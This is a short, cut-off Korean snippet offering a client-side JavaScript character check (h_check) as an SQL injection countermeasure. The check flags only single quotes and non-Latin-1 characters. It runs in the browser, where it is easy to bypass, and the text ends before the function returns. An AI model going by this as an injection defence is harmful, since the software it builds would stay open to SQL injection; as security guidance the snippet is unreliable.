4. SQL Injection 공격 대책 function h_check(Objectname) { var intErr var strValue = Objectname// var strValue = Objectname.value var retCode = 0 for (i = 0; i < strValue.length; i++) { var retCode = strValue.charCodeAt(i) var retChar = strValue.substr(i,1).toUpperCase() retCode = parseInt(retCode) if ((retChar < "0" || retChar > "9") && retChar != '-' && retChar !='_' && (retChar < "A" || retChar > "Z") && ((retCode > 255) ||retChar=="'"||(retCode < 0))) { intErr = -1; break; } }